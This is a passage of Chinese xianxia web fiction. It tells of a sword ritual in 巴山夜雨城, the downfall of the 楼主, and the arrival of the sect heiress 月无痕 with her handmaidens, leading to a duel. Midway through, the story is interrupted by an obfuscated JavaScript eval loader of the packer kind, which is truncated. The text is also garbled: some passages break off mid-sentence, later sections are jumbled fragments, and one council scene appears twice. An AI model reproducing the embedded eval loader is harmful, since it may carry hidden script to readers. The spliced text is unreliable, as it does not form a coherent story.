论剑台是块十丈方圆的青玉台,台心插着半截断剑。此刻断剑正嗡嗡震颤,湛蓝剑气正是从剑身裂痕中迸发。台上站着一个人。 青袍已被剑气割得破烂,背影却挺得笔直。听到脚步声,那人缓缓转身——面具半碎,露出烧伤的左脸。 “寒青萝?”白浅怔住。她不是死在凋羽塔了么? “是,也不是。”寒青萝的声音嘶哑如破锣,“那日我抱寒青萝撞碑时,用了‘移魂术’——将一缕残魂附在她身上。她回楼复命,我这缕魂才找到机会,来此取剑。”她指向那半截断剑:“此剑名‘青霜’,是叶家先祖佩剑。当年叶轻眉毁碑叛逃,楼主命我取此剑镇压叶家气运。今日…”她咳嗽,咳出冰碴,“今日我要用此剑,斩断与彩羽楼最后因果。” 陆青烟剑已出鞘:“你是敌是友?” “非敌非友。”寒青萝惨笑,“我只是个想解脱的可怜人。但时间不多…”她猛地盯向白浅,“楼主正在角鹿区,他要以全城地脉为祭,强行打开归墟通道!阻止他的唯一方法,是以青霜剑为引,重立叶家剑碑,镇住地脉!” “如何重立?” “需叶家血脉持青霜剑,在论剑台舞完一套‘冰魄剑诀’。”寒青萝盯着白浅,“你不会,但剑会握剑,放松心神,让剑引你。” 白浅看向那半截断剑。霜羽剑在她手中剧烈震颤,似在呼唤。她踏上台,握住了青霜剑柄。 触剑刹那,海量信息冲入脑海。 她看见千年前,叶家先祖在此论剑,一剑霜寒十四州。看见百年前,叶轻眉在此学剑,冰魄剑诀初成。看见三十年前,林霜羽在此盗剑,剑身悲鸣。现在,剑在她手中。锈迹寸寸剥落,露出湛青剑身。断口处,竟有冰晶缓缓生长剑在自我修复。 “起式,踏雪寻梅。”寒青萝嘶声。 白浅不由自主动了起来。脚步踏在青玉台上,每一步都留下冰印。剑随身走,第一式展开,论剑台七重禁制同时亮起。 “第二式,冰河倒悬!” 剑光如银河倒卷,冲天剑气被引动,在她身周形成冰晶漩涡。陆青烟被迫后退,眼中满是震撼——这不是人力,是天地之威。 “第三式,霜天寒彻!” 温度骤降,夜雨凝成冰珠砸落。白浅丹田冰晶疯狂旋转,与青霜剑共鸣。她看见更多画面:叶轻眉舞剑时,台下有个小女孩鼓掌,那是幼年的自己。原来她早来过这里。 剑气化雪,笼罩整个论剑台。白浅感到有什么东西在体内苏醒——是血脉记忆。叶家千年剑道传承,正通过青霜剑,灌入她四肢百骸。 “第四式,冰封千里!” 剑势陡然转厉。白浅眼中闪过冰蓝光泽,这一刻,她与三十年前的叶轻眉身影重叠。同样的剑,同样的台,同样的宿命。“最后一式归嘘?不,是归真!冰魄归真!” 白浅的剑不再是她舞,而是天地在借她舞。青霜剑彻底修复,湛青剑身绽出耀眼光华。她纵身一跃,剑指苍穹——“开!” 一剑落下,不是斩向什么,而是斩入青玉台心。剑身没入三寸,台面裂纹如蛛网蔓延,最后汇聚成一道完整阵图。 阵图亮起的刹那,整个巴山夜雨城地脉一震。 角鹿区方向传来一声愤怒咆哮,是楼主的声音。 角鹿区粮仓已化为冰窟。 叶轻眉到时,火早已熄灭,取而代之的是厚达三尺的坚冰。冰中封着数十具尸体,都是救火的城卫。 冰窟中心,一个黑袍人正以血画阵。他脚下是角鹿区地脉节点,阵纹已完成九成。 “三十年了,叶霜。”黑袍人转身 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白梦秋踏进赌坊时,这里已空无一人。只赌桌上摆着个水晶棺,棺中封着一个人——寒青萝。她还活着,但双眼被挖,舌头被割,皮肤上刻满海文符咒。 秦姝倒吸凉气:“这是活祭品。” “楼主用她做归墟之门的坐标。”白梦秋检查符咒,“寒青萝身上有林霜羽残魂,有血羽血脉,有灰羽印记,是最佳媒介。” 她忽然抬头:“不对,这是陷阱。” 赌坊四壁同时落下玄铁闸。屋顶传来楼主分身的声音:“白门主好眼力。可惜晚了。” 地隐门三人被困死局。 徵水区灵泉边,波涟漪脸色惨白。三处灵泉沸腾如煮,泉眼深处涌出的不是灵液,是黑色海水。海水中有东西在游动——是海兽的幼体。 “归墟之力在渗透地脉…”她咬破指尖,以血画阵,试图封住泉眼。但海水腐蚀力极强,阵纹坚持不过三息。 宫鸣区,赵琳正率卫队与突然出现的海兽厮杀。这些海兽形如巨蜥,鳞甲坚硬,口中喷吐腐蚀黑水。城卫的刀剑砍上去,只溅起火星。 “结枪阵!”赵琳怒吼,长枪贯入一头海兽眼眶。兽血喷涌,竟是黑色。 四区同时陷入苦战。而这一切的中心,是角鹿区冰窟中那场师兄妹对决。 古剑冢,论剑台。 白浅一剑立碑,地脉震动渐平。但怀中海魂玉却烫得几乎要燃烧——它感应到了归墟之门的临近。 寒青萝残魂已淡如薄雾:“楼主在角鹿区他要开的是‘血祭之门’,需活祭三千”白浅快去”话音未落,残魂彻底消散。 青霜剑嗡鸣,似在哀悼旧主。白浅拔剑,看向陆青烟:“角鹿区,走!” 两人冲出石林时,赵琳正一枪挑飞最后一头海兽。她见白浅手中青霜剑,瞳孔一缩:“这是”“路上解释!”白浅跃上赵琳牵来的快马,“角鹿区,快!” 三骑破雨疾驰。途经徵水区时,波涟漪的封阵正被海水冲垮。白浅想也未想,青霜剑凌空一斩 冰魄剑气化作冰墙,暂时封住泉眼。 “撑住!”她留下一句,马不停蹄。 赶到商风区时,赌坊已被白梦秋以地隐秘术炸开缺口。秦姝扶着重伤的单芷若冲出,赵雨菲断后,身上多处挂彩。 楼主分身已灭,但寒青萝…”白梦秋指向赌坊深处。水晶棺中,寒青萝心脏处插着一柄血剑那是楼主本命剑的分身。剑在吸她最后的生机。 白浅冲进赌坊,青霜剑斩向血剑。剑身相击,血剑寸断,寒青萝猛地睁眼——不,是残魂最后的光芒。 “角鹿地宫”她吐出四字,彻底气绝。 白浅头也不回冲出赌坊。角鹿区方向,一道血光冲天而起,与古剑冢的湛蓝剑气在空中碰撞,炸开漫天红蓝光雨。归墟之门,开了。 星门角鹿区地宫入口,已被血光笼罩。 白浅三人赶到时,叶轻眉正与楼主战至最后。霜华剑已断,叶轻眉左肩被血剑贯穿,钉在冰壁上。楼主也好不到哪去,右胸有个透明窟窿,但血光正从地脉涌来,修复他的伤。 地宫中心,血光凝成一扇十丈高的巨门。门上是无数扭曲海文,门缝中透出深海的黑暗与低语。 “来得好。”楼主转身,血脸狞笑,“钥匙、血脉、海魂玉,齐了。” 他伸手虚抓,白浅怀中海魂玉自动飞出,嵌入巨门中心凹槽。门上海文逐一亮起。 “还差最后一步。”楼主看向叶轻眉,“师妹,借你血脉一用。” 他并指如剑,刺向叶轻眉心口——要取心头精血。 白浅想也未想,青霜剑脱手飞出。不是刺楼主,而是斩向那扇巨门。 “愚蠢!”楼主回手拍飞青霜剑,“归墟之门一旦启动,外力根本无法” 话音戛然而止。 因为青霜剑没有落地,而是悬在门前。剑身湛蓝光华与门上血光交融,竟在门心形成一个漩涡。 漩涡中,缓缓浮现另一扇门——冰雕玉砌,门上是叶家剑纹。 “这?”楼主瞳孔骤缩,“叶家守护的真正的归墟之门?” “是归墟之门的另一面。”叶轻眉咳血笑道,“师兄,你只知道叶家守门,却不知叶家守的从来不是阻止人进入,而是筛选。” “归墟之中确有长生秘法,但也有灭世大凶。叶家世代守在此,是为防大凶出世,也为引有缘人得秘法。而你?”她盯着楼主,“不配。” 楼主狂怒,血剑全力斩向冰门。但剑至门前,冰门自动打开。 门后不是深海,是一片星空。星空下站着一个人——白衣,银发,容颜与叶轻眉七分似,但眼神沧桑如万古。 “叶家初代守门”楼主骇然后退。 白衣人抬手一点,楼主浑身血光崩散。他惨叫着化为一滩黑血,渗入地底。 星空之门缓缓关闭。白衣人看向白浅,目光慈和:“你做得很好。叶家后继有人了。”他消散前,弹出一缕星光,没入白浅眉心。海量信息涌入——是完整的冰魄剑诀,是归墟之秘,是叶家千年传承。星光也治愈了叶轻眉的伤。她落地,看着消散的星门,良久无言。雨过天晴三日后,雨停。巴山夜雨城四区损伤惨重,但核心未失。在秋池剑阁净雨大阵、雨韵剑宗剑阵、地隐秘术联合修复下,地脉渐稳。城主府正厅,各方再聚。白望春主座,左侧是叶轻眉、白浅,右侧是陆徽、若曦、白梦秋。听雨四卫只到了赵琳、波涟漪、翔云天,寒青萝的位置空着。 “寒青萝以城卫礼厚葬。”白望春开口,“她虽行差踏错,但最后时刻算了。” 陆徽道:“雨韵剑宗会留一支剑队在巴山,助守三年。”若曦接话:“秋池剑阁可重建净雨大阵,并开放三处秘境,供巴山弟子修炼。” 白梦秋最直接:“地隐门共享海外情报。楼主虽死,海外仙盟仍在。他们既知钥匙在此,不会罢休。” 叶轻眉忽然起身,向白望春一礼:“城主,我有一请。” “说。”“我要重开叶家剑冢,收徒传剑。”叶轻眉看向白浅,“浅浅为我首徒,掌青霜剑。另…”她看向角落。云为衫站在那里,伤势已愈,但眼神仍有些茫然。陆徽以雨韵剑宗秘法稳住了她的剑种,但记忆受损。“云为衫可入我门下,重修剑道。”白望春沉吟片刻,点头:“可。但叶家需立誓,永镇巴山。”“叶轻眉立誓,叶家血脉不绝,巴山不倾。”众人陆续散去。白浅送陆青烟出城时,这位雨韵剑宗的师姐忽然转身,塞给她一枚玉简。“这是雨韵剑宗核心心法‘听雨剑诀’。你虽不修此道,但其中听风辨位的法门,或许有用。”陆青烟顿了顿,“保重。海外再见。”白浅握紧玉简。她知道,陆青烟说的是“再见”,不是“再会”。回凝碧轩路上,白浅问叶轻眉:“师尊,星空门中那位”“是叶家先祖,也是第一代钥匙。”叶轻眉望天,“他给了我选择——彻底封闭归墟之门,或继续守护。”“您选了后者。”“因为归墟中,确有该现世的东西。”叶轻眉看向白浅,“比如,能彻底解决你体内种子隐患长生法。”白浅一怔。“但这不急。”叶轻眉推门入轩,“先养好伤。然后,”她转身,眼中闪过剑光,“我们去海外,会会那个仙盟。” 56. 青鸾垂翼瞰夜雨 虹桥·压境巴山夜雨城西三千里,云海翻涌,罡风凛冽。寻常修士飞至此地,便会被罡风撕碎肉身,唯有御空境以上的强者,方能凭借护体罡气勉强通行。然而今日,这片亘古不变的云海,却出现了异象。 七色彩虹,自虚空垂落。 那彩虹并非光学折射,而是由最精纯的七种法则灵光凝聚而成,每一道虹光都蕴含着一种天地至理。虹桥尽头,云海分波,一架青玉车辇缓缓驶出。 拉车的并非凡马,而是三只通体青羽、尾绽霞光的异禽——正是上古传说中的“青鸾”。每一头青鸾的气息,都远超凌霄段,它们羽翼振动间,便引得周遭云气翻腾,法则涟漪荡漾。 青玉车辇在云海中停驻,珠帘轻启,一名女子踏虹而下。 她身着月白流仙裙,裙摆绣着本大陆无人识得的“周天星斗纹”,那纹路并非刺绣,而是由无数星辰碎片镶嵌而成,随着她的呼吸缓缓流转。她每一步踏出,脚下自生莲花状光晕,那不是幻术,而是空间折叠的具象化。 容貌不过双十年华,眼中却含着千年冰川般的淡漠。她身后跟着十二名青衣侍女,皆赤足踏空,手中各托一物:有的是浮空罗盘,指针自行转动,指向诸天方位;有的是自动翻页的金册,册上文字如活物般游走;有的是吞吐灵光的玉壶,壶中似有星河倒悬——每一件,都颠覆着本大陆的炼器认知。 “下界宗门,倒是会选地方。”女子俯瞰脚下苍茫山脉,声音清冷如玉磬,“这片‘南离大陆’的灵气浓度,倒比我预想的高些。” 一名侍女躬身:“宫主,前方便是此界最强势力之一‘巴山夜雨城’。三月前,此地有‘归墟之门’波动,应是吾等找寻的‘钥匙’现世征兆。”“钥匙”女子——天外天·青鸾宫主“月无痕”唇角微扬,“师尊推演三百年,总算在此界寻到线索。走吧,去见见此界‘最强’是何模样。” 她袖袍轻拂,十二侍女齐声应诺。青玉车辇化作流光,径直驶向巴山。听雨阁·法则压制巴山夜雨城,听雨阁。白望春端坐主位,身后立着五位风姿各异的女子,正是权柄最重的五位女区主:宫鸣鹤之舞、商风叶轻扬、角鹿乐林间、徵水波涟漪、羽鹤翔云天。她们皆是凌霄段剑道高手,不仅美貌出众,武艺高强,更是蕙质兰心,能力超群。 此刻,白望春正与叶轻眉、雨韵剑宗陆徽、秋池剑阁若曦商议重建事宜,忽然心头剧震并非威压,而是一种源于天地法则层面的“排斥感”。仿佛有一个更高维度的存在,正冷冷地注视着这片天地。 阁外晴空骤暗,七彩虹光自天穹垂落,将整座听雨阁笼罩。守阁大阵“听雨千秋阵”自发激活,三千六百道阵纹亮如白昼,却在触及虹光的刹那无声崩解——不是被攻破,而是如同冰雪遇沸水,自行消融。 “道则压制”叶轻眉豁然起身,霜华剑在鞘中长鸣,剑身上的冰蓝光泽竟被那虹光压制得黯淡无光。 阁门无声洞开,月无痕赤足踏入,流仙裙不染尘埃。她目光扫过满座,在叶轻眉身上顿了顿:“玄冰剑意?倒是将此界能量运用到极致了。” 又看向白望春:“凌霄段巅峰,半步天境。在此界算个人物。” 最后目光落在白浅身上,眼中终于泛起波澜:“冰魄种子,归墟印记……果然在此。” 她每说一句,阁中众人面色便白一分。并非惧怕,而是一种“全身上下被看透”的无力感。在她眼中,凌霄段与玄境、剑意与拳法,似乎并无区别——都是“低阶能量运用”。“阁下何人?”白望春强压心悸,沉声问道。 “天外天,青鸾宫,月无痕。”女子随意寻座坐下,自有侍女奉上玉盏,盏中灵液蒸腾霞光,“我来取一物,顺便给你们一个机缘。” “何物?何机缘?” “归墟钥匙。”月无痕指向白浅,“以及,带她前往天外天,入我青鸾宫为记名弟子。” 满座哗然。 陆徽拍案而起:“荒谬!白浅乃我南离大陆修士,岂容你说带走便带走?” 月无痕并不动怒,只对身旁侍女点头。那侍女取出一面青铜镜,镜面如水波荡漾,显出一幅画面:那是无边星海,星海中央悬浮着九座玉楼琼阁。有女子御剑穿梭云间,剑光一闪便斩落星辰;有老者丹炉吞吐星河,一炉丹成天地同寿;更有巨兽遨游虚空,一呼一吸间界生界灭。 画面再转,出现南离大陆全景——在星海中不过米粒之光,被一层脆弱结界包裹,结界外是无数贪婪目光。 “此乃‘诸天万界图’。”侍女声音平静,“南离大陆在万界中位列第九千七百位,灵气稀薄,道则残缺。若无上界庇护,最多三百年,必被游荡的‘虚空妖兽’或‘掠夺者’攻破结界,界毁人亡。” 她收起铜镜:“青鸾宫在万界位列第八十一。宫主愿收白浅为记名弟子,已是念在她身怀归墟印记,有培养价值。此非掠夺,而是恩赐。” 满座死寂。白望春指尖陷入掌心。她知道侍女说的可能是真的——古籍中确有“天外天”记载,只是万年无人飞升,渐渐被当做传说。 “若我们不允呢?”叶轻眉一字一句,霜华剑在鞘中发出低沉的嗡鸣。 月无痕笑了。这是她入阁后第一次笑,笑容却让所有人脊背生寒。 “那我便只能强取了。” 她抬手,掌心浮现一枚玉符。符上仅有一道纹路,却让整座听雨阁开始崩塌——不是外力摧毁,而是构成阁楼的“物质”在自发解体,化作最原始的灵气粒子。 “此乃‘解构符’。”月无痕声音依旧平淡,“可解构此界一切物质。我要带走她,你们拦不住,此界也无人拦得住。” 绝对的实力差距,带来的是绝望的窒息。 赌约·三月之期“且慢。”白浅忽然开口。她踏前一步,挡在叶轻眉身前,直视月无痕:“你要带我走,可以。但需答应我三件事。”“说。”“第一,给我三月时间。我要入古剑冢闭关,冲击地境。”白浅眼中闪过一丝决绝。月无痕挑眉:“你如今不过玄境中期,三月地境?倒是野心不小。可。”“第二,这三月内,青鸾宫不得踏入巴山半步,不得干涉此界任何事务。”“可。”月无痕颔首,“我对这贫瘠下界也无兴趣。”“第三”白浅深吸一口气,声音传遍整个听雨阁,“三月后,我会与你战一场。若我胜,你归还钥匙,永不再来。若我败,我随你去天外天,但巴山夜雨城需得青鸾宫万年庇护,保此界平安。”阁中众人变色。白浅这是要以自身为赌注,为整个南离大陆谋一条生路。月无痕凝视她良久,忽然轻笑:“有趣。我修行千年,第一次见下界修士敢与我定约。好,我答应你。”她起身,流仙裙摆荡开涟漪:“三月后的今日,我在此地等你。若你败,我不但带你走,还会取走你师尊叶轻眉的‘冰羽血脉’——她的血脉虽稀薄,却也是不错的炼器材料。” 叶轻眉瞳孔骤缩。“放心。”月无痕走向阁外,声音飘来,“我对欺凌蝼蚁并无兴趣。这三月,我会在云海之上观你此界百态,也算一场消遣。” 虹光收拢,青玉车辇消失于云海。听雨阁内死寂良久。 “浅浅,你太冲动了。”叶轻眉涩声道,“天外天修士,绝非此界可敌。” “我知道。”白浅转身,眼中是前所未有的坚定,“但这是我唯一的机会——为师尊,为巴山,为此界亿万生灵,争一个可能。” 她看向白望春:“城主,请开古剑冢第九层‘时轮剑境’。我要借其中百年时光,闭关三月。” 白望春浑身剧震:“时轮剑境内百年,外界三月,但代价是你的寿元?” “顾不得了。”白浅握紧霜羽剑,“请城主成全。”她又看向云为衫:“云师姐,你可愿与我同入?你的杀生剑种与我冰魄种子,或可互为砥砺。”云为衫毫不犹豫:“同去。”唐婉、陆青烟齐声:“我们也去!”叶轻眉闭目良久,终于睁眼:“好。我这便将‘冰魄剑诀’最后三式传你。三月后为师与你并肩一战。”冢外传来脚步声。云为衫抬眼,见阿诗玛抱剑而来。这位以“细雨快剑”闻名的雨韵剑宗弟子,在角鹿区一战后留在巴山,名义上是协助守城,实则与云为衫颇为投缘,常来切磋。“你的剑,又快了三分。”阿诗玛在台边坐下,递过一壶酒,酒香中竟有灵气氤氲。云为衫接酒饮了一口,辛辣中带着回甘,却让她蹙起眉:“还不够。离我梦中所见,还差得远。”“急什么。”阿诗玛也饮一口,望向冢中那道直冲云霄的剑气,“叶前辈说,你体内剑种是双刃剑,用得好可成无上助力,用不好则反噬自身。重修基础,看似慢,实则是在为你铸就更牢的根基。”云为衫沉默片刻,忽然道:“我昨夜,又梦见了一个人。”“谁?”“看不清脸,只记得她手中剑是霜羽剑。”云为衫握紧铁剑,剑身发出低沉的嗡鸣,“她站在尸山血海中,回头看我‘你本不该存在’。”阿诗玛酒壶顿在半空,神色一肃:“是林霜羽?”“不知道。”云为衫摇头,眼中闪过一丝痛楚,“但梦醒后,我丹田剑种隐隐作痛,似有另一段记忆在复苏。叶前辈说,那或许是我被植入剑种时,最深的恐惧与不甘。”两人正说着,冢外忽然传来急促的号角声,随即是羽鹤区卫兵的呼喝。一个卫兵匆匆奔入:“云姑娘,阿诗玛姑娘,商风区出事了!” “何事?”“月无痕带人上了听雨阁,说要与城主‘商议要事’。但她们带了四名天女,已将听雨阁围了!那四名天女身上气息好生诡异,我等卫兵竟近不得前!”云为衫霍然起身,铁剑嗡鸣,剑气激荡。阿诗玛按剑,冷笑一声:“终于按捺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不住了么?走!”听雨阁顶层,茶香依旧,气氛却已剑拔弩张,如临大敌。白望春端坐主位,左右是听雨四卫中的赵琳、严时芳,以及五位区主中的波涟漪。三股凌霄段威压虽未完全释放,却已让阁中空气凝如铅汞。对面,月无痕独自坐于客座,流光锦袍不染尘埃,身后立着四名天女,个个气息沉凝,最低也是玄境后期,更兼周身有“空明灵韵”流转,视此界灵气如常物,举手投足间,隐隐有引动空间之能。“月少主此来,阵仗不小。”白望春声音平静,却如古井无波,透着不容侵犯的威严。月无痕微笑,那笑意却未达眼底:“白城主见谅,家父常言‘行百里者半九十’,本少主年少,出门在外不得不谨慎些。这四位天女,皆是家父精挑细选,护我周全的。”话说得客气,但那“家父”二字,以及四名天女身上那超然物外的气息,已是将“天外天”的位格,高高悬于巴山夜雨城之上。四名天女,足以在极短时间内,横扫听雨阁守卫,甚至对上赵琳、波涟漪、严时芳三人联手,也未必会落于下风。赵琳冷声道:“巴山夜雨城,还容不得外人撒野。”“赵区主误会了。”月无痕端起茶盏,轻抿一口,动作优雅,却带着一种“下位者”无法理解的从容,“本少主此来,是替家父传话——青鸾宫愿与巴山结盟,共御外侮。只要白城主点头,本少主即刻传讯宫中,可调三百玄境、三位地境长老驻守巴山,助城主扫平余孽,稳固此界。”“条件呢?”白望春问,目光如炬。月无痕放下茶盏,笑容灿烂,却带着一丝冰冷的侵略性:“简单。其一,开放宫鸣区古剑冢、徵水区灵泉、商风区宝库,供我宫中弟子修行取用。其二,将白浅姑娘送至翠屏山,由本少主亲自教导炼道与阵道之术。其三”她顿了顿,目光扫过赵琳三人,带着一种“理所当然”的施舍感,“听雨四卫缺了一人,本少主不才,愿补寒青萝之缺,助城主整顿刑律,统合此界法度。”阁中一片死寂。波涟漪气极反笑,指尖水纹激荡:“月少主好大的胃口!这哪里是结盟,分明是要将我巴山夜雨城,炼为青鸾宫分舵!”“波区主言重了。”月无痕悠然道,指尖在茶杯边缘轻轻划动,周遭空间便泛起微不可查的涟漪,“巴山新经大乱,实力大损,海外仙盟虎视眈眈,彩羽楼余孽未清。若无我青鸾宫这等上界强援,只怕撑不过三月。本少主诚意相助,白城主难道要拒之门户,坐视此界生灵涂炭?”“若我拒呢?”白望春声音依旧平静,但听雨阁的梁柱,已发出不堪重负的呻吟。月无痕笑容渐冷,周身流光一盛:“那本少主只能遗憾告退。只是他日巴山城破,满城百姓流离,道统断绝,白城主莫要后悔今日决定。”这是赤裸裸的、来自“高等文明”的降维威胁。严时芳踏前一步,凌霄段威压如山崩海啸般爆发:“区区四名玄境,也敢在听雨阁放肆?”月无痕身后,四名天女同时抬眸,毫无惧色。灵珠轻笑一声,玉手轻挥,一道空间波纹如涟漪般荡开,竟将严时芳的凌霄段威压无声无息地“抚平”了。“严区主好修为。”月无痕抚掌轻笑,“不过”她话音未落,阁外忽然传来一声清越剑鸣,剑鸣中更蕴含着一种令空间都为之凝滞的寒意。一道冰蓝剑光破窗而入,如九天落雷,直取月无痕面门。月无痕神色微变,腰间一柄看似装饰的短剑自动出鞘,迎上冰蓝剑光。“铛!”一声清越震响,如金玉交击,更似法则碰撞。月无痕身形微不可查地一晃,而那道冰蓝剑光,则如泥牛入海,消散于无形。剑光散去,白浅执霜羽剑立于阁中,身后跟着云为衫、阿诗玛,以及匆匆赶来的唐婉、陆青烟。“月少主,”白浅剑指不移,声音清冷,“巴山事务,不劳外人费心。请回。”月无痕目光扫过霜羽剑,又落在白浅脸上,那俯瞰的姿态终于收敛了些许,露出一抹真正的、带着兴味的笑意:“白姑娘果然风采更胜传闻。这一剑,已有叶前辈七分神韵,更兼此界法则之精纯,倒让本少主有些意外。” 她收剑入鞘,优雅起身,整了整衣袍:“既然白城主心意已决,本少主不再叨扰。”她走到窗边,回眸一笑,眼中寒意森然,如看蝼蚁:“希望三月后,我再来巴山时,还能见到诸位全须全尾,以及那把钥匙。”说罢,流光一闪,月无痕与四名天女已消失在街巷尽头,来去如风,视巴山防御如无物。阁中一片寂静,只余下听雨阁梁柱的嗡鸣。许久,白望春缓缓开口,声音带着一丝疲惫与前所未有的凝重:“她不是虚张声势。三个月青鸾宫,真的会来攻。”“兵来将挡。”白浅还剑入鞘,转身看向众人,眼中是前所未有的坚定,“这三月,我会入古剑冢闭关。出关之日,便是破敌之时。”“我同去。”云为衫忽然道,声音斩钉截铁。白浅看向她,云为衫眼中是前所未见的、如出鞘利剑般的锋芒:“我的剑,该见血了。更要斩断这‘天外’之念。”窗外,阴云压城,罡风渐起。山雨欲来,而这一次,是来自“天”的倾覆。 57. 玉魄争锋霜华冷 茶盏里的风波听雨阁内,雨声淅沥。白望春端坐主位,指尖轻叩着紫檀木椅的扶手。下首左侧,叶轻眉一身月白,神色淡漠;右侧,白梦秋捻着佛珠,低眉顺目。五位区主分坐两旁:宫鸣鹤之舞抱剑冷立,商风叶轻扬把玩着一枚算盘,角鹿乐林间盯着茶汤出神,徵水波涟漪以水痕在案几上勾画阵图,羽鹤翔云天则替白望春添着茶。气氛看似平和,实则暗流涌动。“城主,”羽鹤区主翔云天放下茶壶,声音清冷,“凝翠楼那五名天女,该如何处置?放了,寒了杨玉清和众护卫的心;杀了,又怕担个‘苛待上宾’的名声。”商风区主叶轻扬轻笑一声,指尖算盘噼啪一响:“这有什么难的?既敢窥探禁地,按城规就该打断腿扔出去。月无痕若问起来,便说是底下人不懂事,我们代为管教罢了。”角鹿区主乐林间抬眼,嗓音沙哑:“不妥。月无痕是什么人?天外天来的。你断她侍女腿,便是打她的脸。这口气,她咽得下?”宫鸣区主鹤之舞冷哼:“咽不下又如何?巴山夜雨城立城千年,还怕了她一个外来的野丫头?”几人你一言我一语,看似争论,实则都在试探白望春的底线。白望春不语,只将目光投向徵水区主波涟漪。波涟漪会意,指尖水痕一收,凝成一幅微缩地图:“凝翠楼外三里,确有阵法警示。她们五个笃行段修为,不可能感应不到。明知是禁地仍要闯,其心可诛。”她顿了顿,看向叶轻眉:“叶前辈,您是客,又是浅浅的师尊。这事,您怎么看?”叶轻眉眼皮都未抬,只淡淡道:“巴山的事,何必问我一个外人?不过有一点,月无痕今日能派侍女窥探凝翠楼,明日便能派人火烧粮仓。这叫‘吃相难看’。”一句话,堵死了所有“怀柔”的路。 白望春终于开口,声音平静:“既然月无痕说她们是‘误入’,那便按‘误入’办。罚俸半年,禁足十日,以示惩戒。”这是打了个巴掌给甜枣。羽鹤翔云天皱眉:“城主,这会不会太轻了?”心上。三日后,她会把这一剑讨回来。” “那你呢?”唐婉接过糕点,咬了一口,“月无痕拿出天兵做赌注,这手笔太大了。我总觉得,这背后还有别的文章。”不过是个地隐门 月无痕眼皮都未抬,只淡淡道:“所以呢?你要本少主?“灵珠,”月无痕坐起身,匕首在指尖翻转,寒光映着她冷漠的脸,“你记住,你是青鸾宫的天女,是天外天的人。在这下界,除了本少主,没人配让你生气。你一生气,就落了下乘。”灵珠低头:“灵珠知错。” 她好像在研制一种新的疗伤丹药。叶轻眉与陆徽、若曦、白梦秋坐在一侧观战。青鸾宫那边,月无痕依旧是一身流光锦袍,身后站着四名天女。灵珠站在最前既已到齐,便开始吧。”白望春开口主打算如何安排?” 身后浅浅,你来安排。”白浅踏前一步,目光扫过青鸾宫众人,最后落在灵珠身上:“第一局,商风区唐婉,对阵青鸾宫灵珠。”灵珠冷笑:“终于敢出来了?我还以为你怕了呢!” 唐婉面无表情,只缓缓拔出了“霜华”短剑。 “第二局,”白浅继续道,“羽鹤区阿诗玛,对阵青鸾宫第二名天女。”“第三局,宫鸣区云为衫,对阵青鸾宫第三名天女。”“第四局,徵水区陆青烟,对阵青鸾宫第四名天女。”“至于第五局白浅顿了顿,看向月演武台上,唐婉与灵珠相对而立。灵珠一上来便占了上风,手中长剑如灵蛇出洞,招招直取要害。她修为确是笃行段大圆满,且招式华丽,显然得了真传。唐婉却只守不攻,将“影刃七式”的守势发挥到极致。任你狂风暴雨,我自岿然不动。“你只会躲吗?”灵珠久攻不下,有些急躁。“我在等。”唐婉声音平静。“等什么?” 她身形一晃,竟借着灵珠挥剑的劲风,贴近其身侧。短剑一挑,不是刺一声脆响,灵珠那精美的粉色罗裙,竟被唐婉一剑划破了一大块,露出里面白色的亵裤。全场哗然。 灵珠脸色瞬间涨红,羞愤欲绝。她尖叫一声,疯了般扑向唐婉:“我要杀了你!”唐婉却已退回原地,短剑归鞘,神色淡然:“承让。若再打下去,你裙子里那封写给月少主的密信,怕是要掉出来了。”灵珠浑身一僵,下意识地捂住裙摆。高台之上,月无痕手中的茶盏,“咔嚓”一声,裂开了一条缝。这一局,巴山胜。不是靠武力,而是靠“体面”。月无痕看着台上那个淡然收剑的唐婉。 听雨阁内,雨声淅沥,敲打在琉璃瓦上,发出细碎而急促的声响。 白望春端坐主位,指尖轻叩着紫檀木椅的扶手,那一下一下的节奏,仿佛敲在在场每一个人的心尖上。下首左侧,叶轻眉一身月白,神色淡漠如远山寒雪;右侧,白梦秋捻着一串乌木佛珠,低眉顺目,仿佛外界纷扰与她无关。 五位区主分坐两旁,各怀心思。 宫鸣区主鹤之舞抱剑冷立,一身墨色劲装衬得她英气逼人,眉宇间带着一丝不耐。她是最纯粹的武夫,眼里揉不得沙子,最看不惯这种弯弯绕绕的试探。商风区主叶轻扬则指尖噼啪拨弄着一枚金丝楠木算盘,珠子碰撞的清脆声响,在雨声中格外清晰,她精于算计,每一颗珠子拨动,似乎都在衡量着利弊得失。角鹿区主乐林间盯着面前那盏已经凉透的茶汤,眼神有些涣散,她掌管粮仓地脉,心思深沉,总在考虑最坏的后果。徵水区主波涟漪最为忙碌,指尖凝聚水汽,在光滑的案几上勾画着巴山内城的微缩阵图,水痕流转,变幻莫测。羽鹤区主翔云天则充当着主人的角色,素手执壶,为白望春添上热茶,动作优雅,只是那茶水温热,却暖不了这满室的寒意。 气氛看似平和,实则暗流涌动,每一句话背后,都可能藏着刀锋。 “城主,”羽鹤区主翔云天放下茶壶,声音清冷如碎玉,“凝翠楼那五名天女,该如何处置?放了,寒了杨玉清和众护卫的心;杀了,又怕担个‘苛待上宾’的名声。这上界来的,终究是客。” 商风区主叶轻扬闻言,轻笑一声,指尖算盘一收,发出“啪”的一声脆响:“客?这客也太不懂规矩了。既敢窥探禁地,按城规就该打断腿扔出去。月无痕若要问起来,便说是底下人不懂事,我们代为管教罢了。这叫‘家法’,天外天再大,也管不到我巴山夜雨城的家法吧?” 角鹿区主乐林间缓缓抬眼,嗓音沙哑如磨砂:“叶区主此言差矣。月无痕是什么人?天外天青鸾宫的少主。你断她侍女腿,便是打她的脸。这口气,她咽得下?若她以此为借口,明日便兵临城下,你那商风区的账本,可还守得住?” 宫鸣区主鹤之舞冷哼一声,抱剑的手紧了紧:“咽不下又如何?巴山夜雨城立城千年,靠的是手中剑,不是口中德。她敢来犯,我便敢杀。怕她作甚!” 几人你一言我一语,看似争论,实则都在试探白望春的底线。是战是和,是进是退,全看这位城主的一句话。 白望春却不语,只将目光投向徵水区主波涟漪。 